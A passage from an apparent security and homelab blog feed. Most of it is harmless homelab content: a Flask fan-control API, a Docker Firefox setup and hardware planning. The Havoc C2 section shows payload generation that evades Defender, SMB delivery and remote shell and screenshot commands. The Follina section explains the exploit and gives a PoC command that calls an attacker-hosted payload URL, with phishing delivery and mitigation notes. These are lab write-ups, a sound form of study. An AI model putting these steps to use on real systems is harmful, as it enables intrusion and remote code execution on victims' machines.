<p>View-&gt;Listeners-&gt;Add</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983195308/a84cec73-418c-44fb-b838-062966ef1c23.png" alt="Havoc C2: First look" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983196718/fb9fc5c4-feb6-442d-ac21-f506bf015642.png" alt="Havoc C2: First look" /></p>
<p>Let's configure our listener and point the host to <code>c2.4pfsec.com</code>. This is the domain proxied through Cloudflare.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983198416/31bb1085-3285-4502-a3c0-7a0b67b2cf2c.png" alt="Havoc C2: First look" /></p>
<hr />
<h3 id="heading-generating-payload-undetected-by-windows-defender">Generating Payload (UNDETECTED BY Windows Defender)</h3>
<p>As of writing, the payload is not detected by Microsoft Defender. (05/10/22)</p>
<p>Attack-&gt;Payload-&gt;Generate</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983199714/ccc712ba-0c90-41b3-8a2d-abe7a1214996.png" alt="Havoc C2: First look" /></p>
<hr />
<h3 id="heading-callback-to-c2-undetected-by-windows-defender">Callback to C2 (UNDETECTED BY Windows Defender)</h3>
<p>As of writing, the callback method is not picked up by Microsoft Defender. (05/10/22)</p>
<p>Now that we have our payload, lets deliver and execute it. [You're free to use any delivery method]</p>
<p>I simply hosted an SMB share and transferred the payload to the target. As shown in the demo below, I was able to get a call back from a fully patched Windows 11 Pro Machine using the generated payload.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983200799/4eaf267b-af61-4d8a-aba9-b13681915217.png" alt="Havoc C2: First look" /></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/8_j2rkMt6ao">https://youtu.be/8_j2rkMt6ao</a></div>
<p> </p>
<hr />
<h3 id="heading-interacting-with-target">Interacting with Target</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983202406/3c61d92d-742d-46c9-a366-e926fad89652.png" alt="Havoc C2: First look" /></p>
<p>There's a whole list of commands that you're able to run on the target once it calls back to your C2. The target will fetch the C2 for jobs based on the given sleep duration during payload generation.</p>
<p><em>shell</em></p>
<p>You're able to run shell commands directly on the target with the help of Havoc</p>
<p>\&gt;&gt;&gt; shell [command]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983203688/d9e27f64-aefd-4fb4-8737-70fba3111454.png" alt="Havoc C2: First look" /></p>
<p><em>Screenshot</em></p>
<p>The screenshot command takes a snapshot of the target's desktop and send it back to the C2.</p>
<p>\&gt;&gt;&gt; screenshot</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983204788/8f5f28d8-e0c0-48f4-a810-efb4c447bf8f.png" alt="Havoc C2: First look" /></p>
<p>Seen on Host</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983206521/a051c78f-e6da-445d-aeac-eabeb311ea4f.png" alt="Havoc C2: First look" /></p>
<p>Seen on C2</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983207753/fef48f1a-bab5-4939-b12a-38faaa590d1a.png" alt="Havoc C2: First look" /></p>
<p>These were just some of Post exploitation offered by Havoc.</p>
<hr />
<p>Havoc looks to have great potential and I hope to continue this series by exploring the C2 in-depth real soon!</p>
]]></content:encoded></item><item><title><![CDATA[How I Control My Dell PowerEdge R710's Fans Remotely with an API]]></title><description><![CDATA[Remotely monitoring my server's temperature and controlling the fan speed accordingly has been one of the more frustrating things I had to do. But that ends today! (Kind of...) Here's how I solved that issue with Python Flask and ipmitool.
[
GitHub -...]]></description><link>https://4pfsec.com/how-i-control-my-dell-poweredge-r710s-fans-remotely-with-an-api</link><guid isPermaLink="true">https://4pfsec.com/how-i-control-my-dell-poweredge-r710s-fans-remotely-with-an-api</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Fri, 10 Jun 2022 17:44:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983243517/d4bedb7d-97ea-40ce-9828-34690d6711dc.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983214426/187f5824-195e-422e-8ea8-71df6895ec43.jpeg" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>Remotely monitoring my server's temperature and controlling the fan speed accordingly has been one of the more frustrating things I had to do. But that ends today! (Kind of...) Here's how I solved that issue with Python Flask and ipmitool.</p>
<p>[</p>
<p>GitHub - ItsNee/Dell-PowerEdge-R710-Fan-Controller-API: A Simple API made with Python Flask to help manage fam speeds on the Dell PowerEdge R710 Enterprise Server</p>
<p>A Simple API made with Python Flask to help manage fam speeds on the Dell PowerEdge R710 Enterprise Server - GitHub - ItsNee/Dell-PowerEdge-R710-Fan-Controller-API: A Simple API made with Python Fl...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983215628/6316eb6d-a140-4a2a-81ef-28111dbb15d8.svg" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" />GitHubItsNee</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983217098/9850fd81-5427-4435-93a3-a1f15df203a6.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>](https://github.com/ItsNee/Dell-PowerEdge-R710-Fan-Controller-API.git)</p>
<hr />
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li>A system in the same network as the server installed with Python 3(This could very well be the server itself or a virtual machine running on the server. Baseline: machine should be able to reach server without any network issues)</li>
<li>Dell Server with IDRAC and IPMI over LAN turned on</li>
</ul>
<hr />
<h2 id="heading-solution-to-issue">Solution to Issue</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983218522/f3abf439-3152-4d5d-a456-860dd9e9f682.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>With the help of IPMI (Intelligent Platform Management Interface) over LAN, we would be able to query power supply usage, fan speed, server health, security details, and the state of operating systems. However, I'd be using this to query the server's temperature and change the fan speed.</p>
<p>One small hurdle is that we have to have a machine in the same network as the server (unless you want to expose your IPMI to the WWW). This bump can be overcome with the help of a custom made API exposed out to the internet through a reverse proxy. However its highly recommended that you obscure your API endpoint to prevent malicious actors from playing around with it. This can cause some serious damage to the hardware.</p>
<p>[</p>
<p>GitHub - ItsNee/Dell-PowerEdge-R710-Fan-Controller-API: A Simple API made with Python Flask to help manage fam speeds on the Dell PowerEdge R710 Enterprise Server</p>
<p>A Simple API made with Python Flask to help manage fam speeds on the Dell PowerEdge R710 Enterprise Server - GitHub - ItsNee/Dell-PowerEdge-R710-Fan-Controller-API: A Simple API made with Python Fl...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983220284/7dfe6a9d-613a-49e2-9404-2b97b193931c.svg" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" />GitHubItsNee</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983221083/f71db17d-2c53-49dc-9433-bb243e3f4240.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>](https://github.com/ItsNee/Dell-PowerEdge-R710-Fan-Controller-API.git)</p>
<p>Here's the simple Python Flask API Server that I wrote. It performs 2 simple but crucial tasks.</p>
<ul>
<li>Get Current Server Temperature</li>
<li>Set Server Fan Speed</li>
</ul>
<hr />
<h2 id="heading-setup">Setup</h2>
<h3 id="heading-installing-ipmitool">Installing ipmitool</h3>
<p>The Flask application entirely depends on the system having the <code>ipmitool</code> utility. Let's go ahead and install that first</p>
<p>    apt-get install ipmitool -y</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983224058/5bea466c-6715-4563-90cb-c5838702f605.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<h3 id="heading-installing-python3-and-pip">Installing Python3 and pip</h3>
<p>    apt-get install python3 python3-pip -y</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983225984/1381dcd3-fff5-40f7-bfca-f29a399cdf61.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<h3 id="heading-clone-repository">Clone Repository</h3>
<p>    git clone https://github.com/ItsNee/Dell-PowerEdge-R710-Fan-Controller-API.git</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983227093/8d221c32-382e-47f8-9022-7cda4e8d8883.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<h3 id="heading-installing-requirements">Installing Requirements</h3>
<p>     pip3 install -r requirements.txt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983228900/c5f76786-4c99-47eb-a6ae-31f5135e3ac8.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<hr />
<h2 id="heading-run-server">Run Server</h2>
<h3 id="heading-foreground">Foreground</h3>
<p>    python3 api-server.py</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983230628/d9e19ef3-e03f-4776-be83-4bd731dca658.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<h3 id="heading-background">Background</h3>
<p>Here's how to background the API Server.</p>
<p>    nohup python3 api-server.py&amp;</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983231610/a1776a2f-fa80-4bd1-a426-fd91db8dbd1e.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>Here's how to kill a background process:</p>
<p>Find the ProcessID</p>
<p>    ps -faux | grep api-server</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983232412/c0edab37-de89-4fe6-86d3-c5cc207e3e43.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>Kill Process</p>
<p>     kill -9 1085872</p>
<hr />
<h2 id="heading-api-usage">API Usage</h2>
<p>    https://api.myserver.com/ = [Returns a welcome string]</p>
<p>    https://api.myserver.com/get-temperature = [Returns the server's temperature]</p>
<p>    https://api.myserver.com/set-fan-speed/ = [ variable can be adjusted by end user]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983233446/a83d33cf-5d64-4472-be8d-6a6942b7c809.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983235070/29d5027a-3286-4e6d-a1bd-5367a121fe44.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<hr />
<h2 id="heading-ifttt">IFTTT</h2>
<p>IFTTT is a free application that I make use of in order to send web requests with a tap of a widget on my phone's home screen.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983237037/77ebcef5-4505-4ab8-93c6-55d8494709a6.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>Creating an applet is as easy as picking "this" and "that". In my case, I went with "If button push, send web request"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983238333/e7665116-1788-4442-a50a-11ce00ad1d0b.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983240117/74b881a8-a150-4e2e-b2e7-8d9e69ea983f.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983241875/1cc275eb-1c2c-4776-837d-0319933b9b69.png" alt="How I Control My Dell PowerEdge R710's Fans Remotely with an API" /></p>
<p>And with that, I'm able to remotely change my server's Fan Speed with a push of a button from my phone's home screen!</p>
]]></content:encoded></item><item><title><![CDATA[Follina (CVE-2022-30190)]]></title><description><![CDATA[Background

CVE-2022-30190 AKA Folina, is a zero-day found in Microsoft Products that allows a remote attacker to run malicious code on the endpoint. This vulnerability exists in the Windows Support Diagnostic Tool and can be exploited with any appli...]]></description><link>https://4pfsec.com/follina-cve-2022-30190</link><guid isPermaLink="true">https://4pfsec.com/follina-cve-2022-30190</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sun, 05 Jun 2022 15:46:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983271639/e6bb3351-6eb0-4e41-b0bc-e4f6a3e23693.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-background">Background</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983249111/4037ce46-346e-440a-a778-3357e2151c2b.jpeg" alt="Follina (CVE-2022-30190)" /></p>
<p>CVE-2022-30190 AKA Folina, is a zero-day found in Microsoft Products that allows a remote attacker to run malicious code on the endpoint. This vulnerability exists in the Windows Support Diagnostic Tool and can be exploited with any application that supports the invoking of URL protocol.</p>
<p>I however, will be specifically taking a look at exploiting this with the help of MS Office files as phishing is the most common way that attackers try to get into the system. I have also put together a mini proof of concept that makes testing this in your environment way easier! Let's setup an environment and take a look at how the exploit works in detail.</p>
<blockquote>
<p>A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.<br />-<a target="_blank" href="https://msrc-blog.microsoft.com/">Microsoft Security Response Center</a></p>
</blockquote>
<p>[</p>
<p>GitHub - ItsNee/Folina-CVE-2022-30190-POC</p>
<p>Contribute to ItsNee/Folina-CVE-2022-30190-POC development by creating an account on GitHub.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983250764/1da625d2-2168-4051-86fa-7d7aa7e1f1ec.svg" alt="Follina (CVE-2022-30190)" />GitHubItsNee</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983252089/2de111a8-a1b4-49d2-bc54-410282055de4.png" alt="Follina (CVE-2022-30190)" /></p>
<p>](https://github.com/ItsNee/Folina-CVE-2022-30190-POC)</p>
<h2 id="heading-how-it-works">How It Works</h2>
<p>It all begins with the malicious word document. All office documents are basically packed files. anyone can unpack then with the <code>unzip</code> command.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983253972/2d4aa64c-5c74-4de7-a964-30af08264ef2.png" alt="Follina (CVE-2022-30190)" /></p>
<p>Doing so reveals files that are contained within a word document. The specific file in question here is <code>word/_rels/document.xml.rels</code>.</p>
<p><code>document.xml.rels</code> is an XML file that maps relationships within the document (image holders/tables/fonts) to external resources (images hosted online/videos). The exploit makes use of this functionality.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983255689/d7be8c58-cc35-4cad-a7ae-ba62357aac41.png" alt="Follina (CVE-2022-30190)" /></p>
<p>The attacker first unpacks a word document as shown in the previous step, modifies the target to point to his web server hosting the malicious payload as shown above and repacks the word file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983257405/36e90983-b3be-4277-a547-d92ce1ea1899.png" alt="Follina (CVE-2022-30190)" /></p>
<p>Shown above is the payload hosted on a remote server. Initially researchers found out that the MSTD tool requires a pin to run any code and therefore people thought this exploit would not be possible. However a researcher found out that given that the payload hosted on the remote server be more than 4096 bytes, MSTD will continue to run arbitrary code giving any attacker Remote Code Execution. Another researcher by the name of <a target="_blank" href="https://billdemirkapi.me/"><strong>Bill Demirkapi</strong></a> has written an in-depth piece explaining how and <a target="_blank" href="https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/">why the number 4096</a>.  Now that we have taken a look at how the exploit works, let's see it in action!</p>
<h2 id="heading-lab-setup">Lab Setup</h2>
<h3 id="heading-prerequisites">Prerequisites</h3>
<ul>
<li><a target="_blank" href="https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/">Windows 10/11 virtual machine</a></li>
<li><a target="_blank" href="https://www.microsoft.com/en-us/download/details.aspx?id=49117">Office Deployment Tool</a> (download and install it on the VM)</li>
</ul>
<h3 id="heading-installing-office-2021-enterprise">Installing Office 2021 Enterprise</h3>
<p>    C:\Users\User&gt;setup.exe /configure configuration-Office2021Enterprise.xml</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983258671/ca33079b-ba9d-43ea-a6e1-eed1621b6528.png" alt="Follina (CVE-2022-30190)" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983260504/0c837f62-6892-44e5-8528-2ea02d1cef82.png" alt="Follina (CVE-2022-30190)" /></p>
<p>That's all for the setup!</p>
<h2 id="heading-exploitation">Exploitation</h2>
<p>[</p>
<p>GitHub - ItsNee/Folina-CVE-2022-30190-POC</p>
<p>Contribute to ItsNee/Folina-CVE-2022-30190-POC development by creating an account on GitHub.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983261354/0396f9d2-4f5b-4b3b-bea8-b52a756effcf.svg" alt="Follina (CVE-2022-30190)" />GitHubItsNee</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983262750/8921a5fe-08cd-4ae7-bbcc-968343edc588.png" alt="Follina (CVE-2022-30190)" /></p>
<p>](https://github.com/ItsNee/Folina-CVE-2022-30190-POC)</p>
<p>To make things easier, I wrote up a proof-of-concept in regards to this vulnerability. Here's how it works:</p>
<h3 id="heading-clone-the-poc">Clone the POC</h3>
<p>    git clone https://github.com/ItsNee/Folina-CVE-2022-30190-POC.git
    cd Folina-CVE-2022-30190-POC</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983264532/a56c42a0-f89e-49d6-8fd2-c09864a7245e.png" alt="Follina (CVE-2022-30190)" /></p>
<h3 id="heading-run-exploit">Run Exploit</h3>
<p>    python3 folina.py --payload-url "http://192.168.200.144:1337/pwn.html"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983266256/35ab1e45-77ff-45d4-a112-96625522b01f.png" alt="Follina (CVE-2022-30190)" /></p>
<p>Running this will create a malicious word document with the given <code>--payload-url</code> parameter and host the default payload on port <code>1337</code> on all interfaces of the machine that the tool is run on.</p>
<h3 id="heading-deliver-malicious-file">Deliver Malicious File</h3>
<p>Deliver the malicious word document created by the script to your end point. From the attackers POV this could be via a phishing email of some sort.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983267954/1d94f849-4422-4f8b-80f1-f060c7b93657.png" alt="Follina (CVE-2022-30190)" /></p>
<h3 id="heading-execute-file">Execute File</h3>
<p>Once the user the user executes the file, your web server hosting the payload will receive all a callback and the calculator application will remotely be opened on the endpoint without any other action.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983269214/7a9f3266-e2e2-40af-9f66-ae75704d5fe7.png" alt="Follina (CVE-2022-30190)" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983270465/7dbcc309-be81-46de-a773-1180c03d0793.png" alt="Follina (CVE-2022-30190)" /></p>
<h3 id="heading-video-demo">Video Demo</h3>
<iframe width="200" height="113" src="https://www.youtube.com/embed/jh0LafkBnpo?feature=oembed"></iframe>

<h2 id="heading-mitigation">Mitigation</h2>
<p>Microsoft and some other security researchers have released some workarounds that have shown to work against this exploit.</p>
<ul>
<li><a target="_blank" href="https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/">Disable the MSDT URL Protocol</a></li>
</ul>
<p>On top of all this, Microsoft Defender has also started to detect and protect against this actively. There might still be bypasses out in the wild! beware. Disable the MSDT URL if you can afford it!</p>
<hr />
<p>Hope you found this insightful!!</p>
]]></content:encoded></item><item><title><![CDATA[Remoting into a Web Browser via another Web Browser]]></title><description><![CDATA[I've always wanted to set something like this so that I could safely have all of my accounts and cookies on a browser that I could trust and not sacrifice privacy.
Most of the time the endpoint given to any person by any entity would have some sort o...]]></description><link>https://4pfsec.com/remoting-into-a-web-browser-via-another-web-browser</link><guid isPermaLink="true">https://4pfsec.com/remoting-into-a-web-browser-via-another-web-browser</guid><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sat, 07 May 2022 09:09:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983286278/0bdab8be-7568-458b-b49f-2d2a8803dffe.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983277662/f7b1962e-c08d-4d51-b05a-45e3ad1116b0.jpeg" alt="Remoting into a Web Browser via another Web Browser" /></p>
<p>I've always wanted to set something like this so that I could safely have all of my accounts and cookies on a browser that I could trust and not sacrifice privacy.</p>
<p>Most of the time the endpoint given to any person by any entity would have some sort of monitoring and end point security solution. This might not allow the user to login to their personal accounts on the native browser keeping privacy in mind. Let's work towards fixing that with this :)</p>
<p>This is how the end solution would look like! Basically accessing a browser via another browser.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983279633/82a00235-fcff-4abe-ad9c-f0582ca1b642.png" alt="Remoting into a Web Browser via another Web Browser" /></p>
<hr />
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li>Some sort of server (Preferably Linux)</li>
<li>Docker &amp; Docker-Compose Installed</li>
</ul>
<p>If you're having trouble installing docker-compose, do check out my post on <a target="_blank" href="https://4pfsec.com/docker-containers/">docker</a>!</p>
<hr />
<h2 id="heading-spinning-up-the-container">Spinning up the container</h2>
<p>This step is pretty straight forward after you got docker and docker-compose installed.</p>
<p>In your preferred directory, create the following files and folders. (Ignore the .d and .sh files. That will be created by the container)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983280899/11d4ec6a-8f22-4f70-b960-e4032e6794e1.png" alt="Remoting into a Web Browser via another Web Browser" /></p>
<p>Next, open the <code>docker-compose.yml</code> file and enter the following contents. Feel free to change my docker compose file to your liking!</p>
<p>    version: '3.3'
    services:
        firefox:
            container_name: firefox
            ports:</p>
<ul>
<li>'5800:5800'
volumes:</li>
<li>'/firefox/firefox:/config:rw'
image: jlesage/firefox
shm_size: "2gb"
restart: unless-stopped</li>
</ul>
<p>Once completed, run the following command to spin up the container :)</p>
<p>    root@ubuntusvr1:~/firefox# docker-compose up -d</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983282516/e0918c61-0018-4c30-8bdd-6b60110221fa.png" alt="Remoting into a Web Browser via another Web Browser" /></p>
<p>Once everything completes with no errors, browser your IP on port <code>5800</code> and you should see the Firefox session up and running as shown below! 😀</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983283473/1f68ecba-77f9-4529-a42b-325c4ec7214f.png" alt="Remoting into a Web Browser via another Web Browser" /></p>
<hr />
<h2 id="heading-authentication">Authentication</h2>
<p>You can even go a step further and add proxy authentication if you're exposing this out to the open web as shown below!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983284550/c7dc4021-b5ef-4a57-8639-500f96f695a2.png" alt="Remoting into a Web Browser via another Web Browser" /></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Planning my Homelab]]></title><description><![CDATA[My time has finally come. After all those years of wanting a personal home lab setup which doesn't run on Pi4, I finally got my hands on a Dell PowerEdge R710 and some other Cisco gear.
Hardware & Specifications
Router

Nokia Beacon
Cisco 1941 Series...]]></description><link>https://4pfsec.com/planning-my-homelab</link><guid isPermaLink="true">https://4pfsec.com/planning-my-homelab</guid><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Tue, 01 Feb 2022 15:08:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983302094/9c48921b-9896-480d-8682-baa3fbf86d47.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983291552/71537af9-7f4c-444d-97a8-328418c2b869.jpeg" alt="Planning my Homelab" /></p>
<p>My time has finally come. After all those years of wanting a personal home lab setup which doesn't run on Pi4, I finally got my hands on a Dell PowerEdge R710 and some other Cisco gear.</p>
<h2 id="heading-hardware-andamp-specifications">Hardware &amp; Specifications</h2>
<h3 id="heading-router">Router</h3>
<ul>
<li><strong>Nokia Beacon</strong></li>
<li><strong>Cisco 1941 Series</strong></li>
</ul>
<h3 id="heading-access-point">Access Point</h3>
<ul>
<li><strong>Nokia Beacon Wifi</strong></li>
<li><strong>CISCO Aironet 1250 Series</strong></li>
</ul>
<h3 id="heading-switch">Switch</h3>
<ul>
<li><strong>Linksys LGS108 8-Port Business Desktop Gigabit Switch</strong></li>
<li><strong>Cisco Catalyst 3750 v2 Series PoE-24</strong></li>
</ul>
<h3 id="heading-server">Server</h3>
<ul>
<li><strong>Dell PowerEdge R710</strong><br />CPU<br />- 2 x Intel Xeon E5530<br />RAM<br />- 64GB ECC RAM [config = 8 x 8gb sticks]<br />Storage<br />- 6 x 600gb SAS drives<br />Extras<br />- Perc 6i RAID Controller<br />- iDrac remote management</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983292796/51874d35-a079-4aff-aa3e-e5352c1b0263.png" alt="Planning my Homelab" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983294396/33d937e4-2ef3-4f99-ad3b-95c95d67ff4b.png" alt="Planning my Homelab" /></p>
<hr />
<h2 id="heading-network-topology">Network Topology</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983295932/d764f695-be29-48bd-b6d6-b05664fa2330.png" alt="Planning my Homelab" /></p>
<p>The next thing on the list was to plan my network topology. I had to ensure that I had the optimal setup which did not disrupt the main network. Afterall, network stability is crucial during these work-from-home times.</p>
<p>This was the final topology that I went with. This topology ensured that I had control of the machines that would possibly by internet facing with the help of the pfSense Firewall. The network also ensured that none of my other devices would be affected if the server were to face downtime. (i.e. NAS, Access Point, Desktops)</p>
<hr />
<h2 id="heading-hypervisor">Hypervisor</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983297043/9f23927a-7cd0-43e8-952e-ad33510674a5.png" alt="Planning my Homelab" /></p>
<p>I spent a good couple of days battling this choice out. I've been team VMware for the past 5 years. Out of those 5 years I've had a year of beginner experience with ESXI. However upon doing some research, I realized that a ton of homelab enthusiasts use Proxmox.</p>
<p>After looking through a ton of blog posts and weighing out my preferences, I ended up going with VMware ESXI 6.5.0 Update 3 (Build 13932383). Here are a few awesome resources that might help you decide which ones best for you!</p>
<p>[</p>
<p>Proxmox vs ESXi | Choosing the Best Hypervisor | ServerWatch</p>
<p>Proxmox and ESXi are hypervisor software that creates multiple virtual machines. Explore the performance &amp; price of these hypervisors now.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983297928/c28cb7a7-7fa5-4d53-b4e9-554e9a158152.png" alt="Planning my Homelab" />ServerWatchSam Ingalls</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983298688/3538e3b1-050e-492d-b813-dd242fb46d7d.png" alt="Planning my Homelab" /></p>
<p>](https://www.serverwatch.com/reviews/proxmox-vs-esxi/)</p>
<blockquote>
<p><a target="_blank" href="https://www.reddit.com/r/homelab/comments/5vit59/proxmox_vs_esxi/?ref_source=embed&amp;ref=share">Proxmox vs. ESXi</a> from <a target="_blank" href="https://www.reddit.com/r/homelab/">homelab</a></p>
</blockquote>
<hr />
<h2 id="heading-operating-system-andamp-services">Operating System &amp; Services</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983300141/edc73bbb-1818-47a3-b6da-e0d178f6ffe2.png" alt="Planning my Homelab" /></p>
<p>Now it was time for me to pick the OS I wanted my virtual machines to run. My initial plan was to go with something new but I had a couple years of experience with Debian-based distros. Thus, I ended up going with Ubuntu 20.04.3 for all my Linux Servers.</p>
<p>As for services, I had a couple of things I wanted to run.</p>
<ul>
<li>Cloud</li>
<li>Video Streaming Server</li>
<li>Music Streaming Server</li>
<li>Self-hosted Pastebin</li>
<li>Web Hosting Server<br />- Personal Site<br />- Personal Blog<br />- Public Sites</li>
<li>Qbittorrent Server</li>
</ul>
<p>These were just some of the things I had in mind at the start! We'll see how it goes in the next few posts</p>
<hr />
<h2 id="heading-conclusion">Conclusion</h2>
<p>Now that I have the basics down, I'll be spending my free time upgrading/installing/configuring/exposing the servers and services! I'll be writing about my homelab process :) Can't wait to see how it'll go! Seeya in the next post 👋</p>
]]></content:encoded></item><item><title><![CDATA[Deploying Kali on AWS]]></title><description><![CDATA[Here's how you can deploy kali on AWS for free under the free tier (for a year). as long as you stay under the usage guidelines. I did this so I could have a quick and dirty VM I can make use of when I'm not at my desk! Lezgo!
Prerequisites

Free ver...]]></description><link>https://4pfsec.com/deploying-kali-on-aws</link><guid isPermaLink="true">https://4pfsec.com/deploying-kali-on-aws</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sun, 17 Oct 2021 08:04:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983332938/116b641a-2045-4f13-84af-6835b2ea9ed6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983307000/f488ee0f-e927-4b53-80bd-f8ddd6eedbd4.jpeg" alt="Deploying Kali on AWS" /></p>
<p>Here's how you can deploy kali on AWS for free under the free tier (for a year). as long as you stay under the usage guidelines. I did this so I could have a quick and dirty VM I can make use of when I'm not at my desk! Lezgo!</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li>Free verified AWS account</li>
</ul>
